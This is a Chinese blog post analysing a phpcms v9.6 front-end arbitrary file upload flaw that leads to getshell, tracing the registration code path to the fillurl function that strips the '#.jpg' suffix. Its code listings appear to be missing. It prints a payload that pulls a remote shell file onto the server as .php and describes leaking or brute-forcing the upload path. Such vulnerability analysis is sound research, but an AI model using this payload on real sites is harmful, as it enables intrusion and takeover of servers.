您当前位置: 首页 » 代码审计 » phpcms v9.6前台任意上传getshell漏洞分析

phpcms v9.6前台任意上传getshell漏洞分析

2017年4月12日 | 发表评论(0) 查看评论

最近在准备考试,也没时间更新,等4月底考完试找到工作在继续吧。

前两天得到一个phpcms的前台任意文件上传getshell的exp,代码如下:

对phpcms比较感兴趣,所以就复现了一下。

从exp可以看出来是通过注册达到目的的,注册地址是/index.php?m=member&c=index&a=register&siteid=1,看着phpcms的目录找到了C:/inetpub/wwwroot/phpcms/phpcms/modules/member/index.php:

中间省去了部分代码。从上面的代码可以看出来注册时提交的信息都赋值给了$userinfo,而exp中的info[content]经过$_POST[‘info’] = array_map(‘new_html_special_chars’,$_POST[‘info’]);处理后进入了$user_model_info = $member_input->get($_POST[‘info’]);

首先来看一下new_html_special_chars函数

/phpcms/libs/functions/global.func.php:

只是进行了实体编码,并没有什么过滤。然后跟进$member_input->get方法

/phpcms/caches/caches_model/caches_data/member_input.class.php:

这里的$func是editor,$value就是我们传入的info[content]的值。来看下editor方法,还是在这个页面

经过简单的处理后传进$value = $this->attachment->download(‘content’, $value,$watermark_enable);

/phpcms/phpcms/libs/classes/attachment.class.php

可以看到经过了正则匹配,(href|src)=([\”|’]?)([^ \”‘>]+\.($ext))\\2 这里的$ext缺省值为gif|jpg|jpeg|bmp|png 所以我们的恶意语句<img src=http://www.am0s.com/shell.txt?.php#.jpg>符合正则的要求,继续往下走

传进了$this->fillurl

/phpcms/phpcms/libs/classes/attachment.class.php

这里在fillurl中截取了#并过滤了之后的字符,导致jpg的后缀消失,后缀便成了.php。之后就是下载然后重命名写入文件。于是就完成了getshell的操作

在回到最初index.php中,在调用了$member_input->get之后,还会进行一次写数据库的操作($this->db->insert($user_model_info);),但是我们传入的info[content]在数据库中不存在,导致报错,可以返回上传的路径。如果上传路径不显示的话,也可以根据时间去爆破。

分类:

代码审计

| 标签:

,